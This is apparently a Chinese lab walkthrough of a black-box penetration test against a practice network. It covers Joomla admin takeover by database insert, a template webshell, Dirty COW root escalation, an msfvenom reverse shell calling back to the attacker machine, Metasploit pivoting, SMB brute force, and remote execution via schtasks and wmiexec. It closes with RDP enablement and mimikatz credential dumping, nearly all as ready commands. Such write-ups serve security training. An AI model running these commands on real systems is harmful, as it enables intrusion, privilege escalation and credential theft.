0x01、环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。


攻击机与Centos处于公网(桥接),其余机器与Centos处于同一内网
用Centos去ping其他内网机器查看是否网络畅通
0x02、Centos getshell


访问网站,发现是joomla的cms,可以使用kali扫描目录
joomscan -u 目标IP

找到后台地址、robots.txt、配置文件等路径


在配置文件中发现数据库账号信息

尝试使用远程管理工具连接数据库

查后台用户名密码,通过搜索功能找到可能与用户账好信息有关的表

得到一个超级用户的信息

密码经过MD5加盐处理无法解密
此时可以通过cms官网查询管理员账户重置密码或创建新超级管理员方法
 
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
注意修改表前缀

此时发现已成功新建一个账户

解密后得到新超管密码
登录后台后发现报错,但是不影响我们getshell

在功能里发现了模板模块,众所周知,这个地方是getshell的多发点

进入后新建一个文件或者直接修改当前存在文件,加上一句话后,访问即可getshell


回到刚刚报错,通过百度查询到这个原因是:检查php版本,代码中预设的版本日期都过期了,就是查找当前时间的版本找不到了,看下图
文件路径:/var/www/html/plugins/quickicon/phpversioncheck/phpversioncheck.php

将日期修改即可
'7.3' => array(
'security' => '2020-12-06',
'eos' => '2023-12-06',
),
0x03、Centos提权
查看当前用户权限发现无法执行命令

猜测是disable_functions禁用了一些可以执行命令或代码的函数。
在开始目录扫描时发现了一个1.php,进入后是phpinfo

使用蚁剑插件

修改刚才的连接

再次执行命令,发现是低权限用户
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j7Ftq9J1-1650711340054)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220419201621975.png)]
查看对方ip发现网卡地址为192.168.93.120,与我们访问的IP(192.168.93.100)不同,猜测对方开启Nginx反向代理

查看其它是否存在敏感文件,一般根目录下的tmp文件下会有重要信息
发现一个写有账号密码的文件

之前的端口扫描中发现了22端口,尝试连接SSH,成功连上

信息收集第一步—先看内核
uname -a
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fGsnSxCm-1650711340055)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220420000400954.png)]
版本号大于2.6.32,可以使用脏牛漏洞提权
使用winscp传输文件

对脏牛赋权并编译
chmod +x dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty root //修改root账户,密码为root
提示已存在文件
rm /tmp/passwd.bak
./dirty root

这里虽然用户名是firefart,但是执行id命令发现是root权限

0x04、内网穿透—设置路由
kali中生成马并监听
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.63.43.7 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
用root权限账号传输马到服务器上

赋权并运行马

成功上线

查看路由
run get_local_subnets

添加路由
run autoroute -s 192.168.93.0/24
run autoroute -p
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eSU5mpEM-1650711340058)(https://gitee.com/aspirin_s/note-picture/raw/master/img/WEB%E6%B8%97%E9%80%8F/image-20220420010334636.png)]
挂起
background
smb内网探测
use auxiliary/scanner/smb/smb_version
options
set rhosts 192.168.93.0/24
exploit
探测出三台windows主机



0x05、内网穿透—设置代理
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 10.63.43.7(攻击机)
exploit
记得修改配置文件
爆破smb
proxychains hydra -l administrator -P 字典 -s 445 192.168.93.20 smb
爆破得到administrator账号密码123qwe!ASD

0x06、获取内网目标shell
通过smb拿shell
proxychains smbclient //192.168.93.20/c$ -U administrator
输入密码后成功登录
使用put命令可以传文件

或者本地挂代理使用k8tools拿shell
在k8tools文件夹下打开终端
net use \\192.168.93.20\ipc$ "123qwe!ASD" /user:"administrator"
当提示命令完成后说明对方开始开启ipc连接
copy 本地文件地址 \\192.168.93.20\C$
添加计划任务
schtasks /create /tn "test" /tr C:\mimikatz.exe /sc once /st 17:00 /S 192.168.93.20 /RU System -U administrator /p "123qwe!ASD"
方法二
wmiexec.exe administrator:123qwe!ASD@192.168.93.20
输入?查看帮助




kali中wmiexec.py工具
下载地址:https://github.com/coresecurity/impacket/blob/masterexamples/wmiexec.py
需要先下载impacket工具包,这里面有很多工具
git clone http://github.com/CoreSecurity/impacket.git
cd impacket/
pip install
cd impacket-master/examples
安装成功后,切换到examples目录下,运行如下命令获取目标系统192.168.93.20的shell
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
设置远程桌面
reg add “HKLM\System\CurrentControls\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
开启远程桌面
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1
检查端口状态
net -an|find “3389”


使用msf生成马并监听,此时需要挂代理去开启msf
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=12345 -f exe > 1.exe
proxychains4 msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.93.20
set LPORT 12345
exploit

此时可以看到两种方式上传的文件(mimikatz.exe和1.exe)
getuid

使用猕猴桃抓取密码
load mimikatz
wdigest或kerberos
但是不知道到怎么回事没有抓回来
如果使用load kiwi需要system权限
load kiwi
creds_all
getsystem
getuid
creds_all
抓取密码
这里同样没有抓回来
其余思路同上
|